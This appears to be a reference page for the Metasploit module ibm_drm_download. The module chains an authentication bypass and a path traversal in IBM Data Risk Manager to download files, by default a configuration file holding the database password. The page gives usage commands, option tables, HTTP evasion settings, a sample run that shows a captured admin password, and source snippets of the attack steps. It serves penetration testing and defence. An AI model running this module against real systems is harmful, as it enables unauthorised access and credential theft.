IBM Data Risk Manager Arbitrary File Download - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/ibm_drm_download metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: IBM Data Risk Manager Arbitrary File Download
Module: auxiliary/admin/http/ibm_drm_download
Source code: modules/auxiliary/admin/http/ibm_drm_download.rb
Disclosure date: 2020-04-21
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-4427, CVE-2020-4428, CVE-2020-4429, CVE-2020-4430

IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by an unauthenticated attacker to download arbitrary files off the system. The first is an unauthenticated bypass, followed by a path traversal. This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files. A downloaded file is zipped, and this module also unzips it before storing it in the database. By default this module downloads Tomcat's application.properties files, which contains the database password, amongst other sensitive data. At the time of disclosure, this is was a 0 day, but IBM later patched it and released their advisory. Versions 2.0.2 to 2.0.4 are vulnerable, version 2.0.1 is not.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/ibm_drm_download
msf auxiliary(ibm_drm_download) > show targets
    ... a list of targets ...
msf auxiliary(ibm_drm_download) > set TARGET target-id
msf auxiliary(ibm_drm_download) > show options
    ... show and set options ...
msf auxiliary(ibm_drm_download) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by an unauthenticated attacker to download arbitrary files off the system. The first is an unauthenticated bypass, followed by a path traversal. This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files. A downloaded file is zipped, and this module also unzips it before storing it in the database. By default, this module downloads Tomcat's application.properties file, which contains the database password, amongst other sensitive data. At the time of disclosure, this is was a 0 day, but IBM later patched it and released their advisory. Versions 2.0.2 to 2.0.4 are vulnerable, version 2.0.1 is not.

Vulnerability information

For more information about the vulnerability check the advisory at: https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md

Setup

The application is available to download as a Linux virtual appliance from IBM's website. You need to have a valid IBM contract to be able to do so.

Verification Steps


Module defaults work very well, you should just need to set RHOST and the FILEPATH you want to download.

Scenarios


A successful exploit will look like this:

msf5 auxiliary(admin/http/ibm_drm_file_download) > run

[+] 10.9.8.213:8443 - Successfully "stickied" our session ID kmhleyPh
[+] 10.9.8.213:8443 - We have obtained a new admin password 28010e88-6ffb-46e9-90d6-2ded732120d1
[+] 10.9.8.213:8443 - We're now authenticated as admin!
[+] File saved in: /home/conta/.msf4/loot/20200421154045_default_10.9.8.213_IBM_DRM.http_402604.bin
[*] Auxiliary module execution completed
  • Verify that the file was saved in the location specified.

Go back to menu.

Msfconsole Usage


Here is how the admin/http/ibm_drm_download auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/ibm_drm_download

msf6 auxiliary(admin/http/ibm_drm_download) > show info

       Name: IBM Data Risk Manager Arbitrary File Download
     Module: auxiliary/admin/http/ibm_drm_download
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-04-21

Provided by:
  Pedro Ribeiro <[email protected]>

Available actions:
  Name      Description
  ----      -----------
  Download  Download arbitrary file

Check supported:
  Yes

Basic options:
  Name       Current Setting                                                               Required  Description
  ----       ---------------                                                               --------  -----------
  FILEPATH   /home/a3user/Tomcat/webapps/albatross/WEB-INF/classes/application.properties  no        Path of the file to download
  Proxies                                                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      8443                                                                          yes       The target port (TCP)
  SSL        true                                                                          no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                                                                             yes       Default server path
  VHOST                                                                                    no        HTTP server virtual host

Description:
  IBM Data Risk Manager (IDRM) contains two vulnerabilities that can 
  be chained by an unauthenticated attacker to download arbitrary 
  files off the system. The first is an unauthenticated bypass, 
  followed by a path traversal. This module exploits both 
  vulnerabilities, giving an attacker the ability to download 
  (non-root) files. A downloaded file is zipped, and this module also 
  unzips it before storing it in the database. By default this module 
  downloads Tomcat's application.properties files, which contains the 
  database password, amongst other sensitive data. At the time of 
  disclosure, this is was a 0 day, but IBM later patched it and 
  released their advisory. Versions 2.0.2 to 2.0.4 are vulnerable, 
  version 2.0.1 is not.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-4427
  https://nvd.nist.gov/vuln/detail/CVE-2020-4429
  https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md
  https://seclists.org/fulldisclosure/2020/Apr/33
  https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/

Module Options


This is a complete list of options available in the admin/http/ibm_drm_download auxiliary module:

msf6 auxiliary(admin/http/ibm_drm_download) > show options

Module options (auxiliary/admin/http/ibm_drm_download):

   Name       Current Setting                                                               Required  Description
   ----       ---------------                                                               --------  -----------
   FILEPATH   /home/a3user/Tomcat/webapps/albatross/WEB-INF/classes/application.properties  no        Path of the file to download
   Proxies                                                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8443                                                                          yes       The target port (TCP)
   SSL        true                                                                          no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                                                                             yes       Default server path
   VHOST                                                                                    no        HTTP server virtual host

Auxiliary action:

   Name      Description
   ----      -----------
   Download  Download arbitrary file

Advanced Options


Here is a complete list of advanced options supported by the admin/http/ibm_drm_download auxiliary module:

msf6 auxiliary(admin/http/ibm_drm_download) > show advanced

Module advanced options (auxiliary/admin/http/ibm_drm_download):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/ibm_drm_download module can do:

msf6 auxiliary(admin/http/ibm_drm_download) > show actions

Auxiliary actions:

   Name      Description
   ----      -----------
   Download  Download arbitrary file

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/ibm_drm_download auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/ibm_drm_download) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Failed to "stick" session ID


Here is a relevant code snippet related to the "<PEER> - Failed to "stick" session ID" error message:

86:	        'id' => session_id,
87:	        'userName' => 'admin'
88:	      }
89:	    })
90:	    if res && (res.code != 302)
91:	      fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")
92:	    end
93:	
94:	    print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")
95:	
96:	    session_id

<PEER> - Failed to obtain the admin password.


Here is a relevant code snippet related to the "<PEER> - Failed to obtain the admin password." error message:

111:	      'data' => post_data.to_s,
112:	      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
113:	    })
114:	
115:	    unless res && (res.code == 200) && res.body[/"data":"([0-9a-f\-]{36})/]
116:	      fail_with(Failure::NoAccess, "#{peer} - Failed to obtain the admin password.")
117:	    end
118:	
119:	    password = Regexp.last_match(1)
120:	    print_good("#{peer} - We have obtained a new admin password #{password}")
121:	

<PEER> - Failed to authenticate as an admin.


Here is a relevant code snippet related to the "<PEER> - Failed to authenticate as an admin." error message:

131:	        'userName' => 'admin',
132:	        'password' => password
133:	      }
134:	    })
135:	    unless res && (res.code == 302) && res.get_cookies
136:	      fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as an admin.")
137:	    end
138:	
139:	    print_good("#{peer} - ... and are authenticated as an admin!")
140:	    cookie = res.get_cookies
141:	    url = res.redirection.to_s

Here is a relevant code snippet related to the "<PEER> - Failed to authenticate obtain CSRF cookie." error message:

146:	      'method' => 'GET',
147:	      'cookie' => cookie
148:	    })
149:	
150:	    unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f\-]{36})";/
151:	      fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate obtain CSRF cookie.")
152:	    end
153:	    csrf = Regexp.last_match(1)
154:	
155:	    return cookie, csrf
156:	  end

<PEER> - Failed to download file <FILEPATH>


Here is a relevant code snippet related to the "<PEER> - Failed to download file <FILEPATH>" error message:

181:	      'data' => post_data.to_s,
182:	      'ctype' => 'text/json'
183:	    })
184:	
185:	    unless res && (res.code == 200) && !res.body.empty?
186:	      fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")
187:	    end
188:	
189:	    Zip::File.open_buffer(res.body) do |zipfile|
190:	      # Not sure what happens if we receive garbage that's not a ZIP file, but that shouldn't
191:	      # happen? Either we get nothing or a proper zip file.

<PEER> - Incorrect file downloaded!


Here is a relevant code snippet related to the "<PEER> - Incorrect file downloaded!" error message:

189:	    Zip::File.open_buffer(res.body) do |zipfile|
190:	      # Not sure what happens if we receive garbage that's not a ZIP file, but that shouldn't
191:	      # happen? Either we get nothing or a proper zip file.
192:	      file = zipfile.find_entry(File.basename(datastore['FILEPATH']))
193:	      unless file
194:	        fail_with(Failure::Unknown, "#{peer} - Incorrect file downloaded!")
195:	      end
196:	
197:	      filedata = zipfile.read(file)
198:	      vprint_line(filedata.to_s)
199:	      fname = File.basename(datastore['FILEPATH'])

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Pedro Ribeiro <pedrib[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.